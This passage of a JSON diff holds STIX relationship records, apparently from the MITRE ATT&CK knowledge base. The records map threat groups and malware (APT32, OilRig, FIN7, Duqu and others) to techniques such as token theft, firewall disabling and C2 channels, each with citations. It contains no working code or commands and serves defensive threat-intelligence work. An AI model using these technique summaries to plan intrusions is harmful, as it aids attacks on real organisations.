"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:06:12.697Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79934567-99e6-4184-8b04-717a1b401006", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "relationship_type": "uses", + "target_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) compromised McAfee ePO to move laterally by distributing malware as a software deployment task.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2019-07-17T13:11:37.663Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used HTTP, HTTPS, and DNS for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used TeamViewer to preserve remote access in case control using the Cobalt Strike module was lost.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45226d14-dc97-4b6e-90ab-30ebf84efa2d", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.302Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:09:34.807Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ce2f87e-527d-4bc1-9ba1-79ade0a4db59", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.849Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ccdb0aac-24b8-4e94-a3b6-b7e1c519a938", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67469b79-67e2-4932-9776-b09a82871723", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-07-17T16:17:29.556Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has signed [Carbanak](https://attack.mitre.org/software/S0030) payloads with legally purchased code signing certificates. [FIN7](https://attack.mitre.org/groups/G0046) has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--081c68ae-de26-4ab4-9108-5c7493f34f43", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.259Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6cd8be3-3145-4088-ae9d-d006be865c01", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "modified": "2019-06-28T15:05:33.163Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used the net view command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b6eac00-8a13-42e3-b533-a40314eada68", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:54.884Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.275Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7aea964a-cd9b-471e-bc7b-2a270c974289", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) maintains access to victim environments by using [Valid Accounts](https://attack.mitre.org/techniques/T1078) to access [External Remote Services](https://attack.mitre.org/techniques/T1133) as well as establishing a backup RDP tunnel by using [FLIPSIDE](https://attack.mitre.org/software/S0173).", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.708Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa", + "external_references": [ + { + "source_name": "Kaspersky Duqu 2.0", + "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.", + "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf" + } + ], + "modified": "2019-04-24T23:18:53.108Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:42:17.752Z", + "type": "relationship", + "id": "relationship--403863dd-5b73-4987-9397-e8c5b25041cc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.692Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e94576ee-284c-4782-a6ef-b7dd8a780254", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has disabled host-based firewalls. The group has also globally opened port 3389.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9560ef6-7ed4-45bd-be7c-525f6708308e", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.345Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is known to use RAR with passwords to encrypt data prior to exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bde913a9-9895-4414-b79a-3156159033aa", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.275Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:06:06.326Z", + "type": "relationship", + "id": "relationship--ab524992-5666-466b-8c12-ec79b269901b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims\u2019 machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--314a5160-17e0-44eb-9f4b-1a8e216b56a2", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03", + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) modified the Registry to perform multiple techniques through the use of [Reg](https://attack.mitre.org/software/S0075).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49455f19-b4da-401f-8f61-93965f5a1850", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.340Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.061Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5cfcbf60-454a-4673-aa93-9020d04efab7", + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.850Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9878ff64-0206-4a62-a5aa-3f909da87081", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) typically loads its DLL file into a legitimate signed Java or VMware executable.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--283e242a-72d4-4b40-8905-888595c34919", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with C2 servers over port 6667 (for IRC) and port 8080.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.354Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:00:23.916Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses ZPP, a .NET console program, to compress files with ZIP.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e82ef21-9fb2-421e-bd96-73599089b448", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2019-05-03T16:42:19.177Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has been known to use credential dumping.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28b27852-4125-4639-a07b-0b97dfdb650a", + "external_references": [ 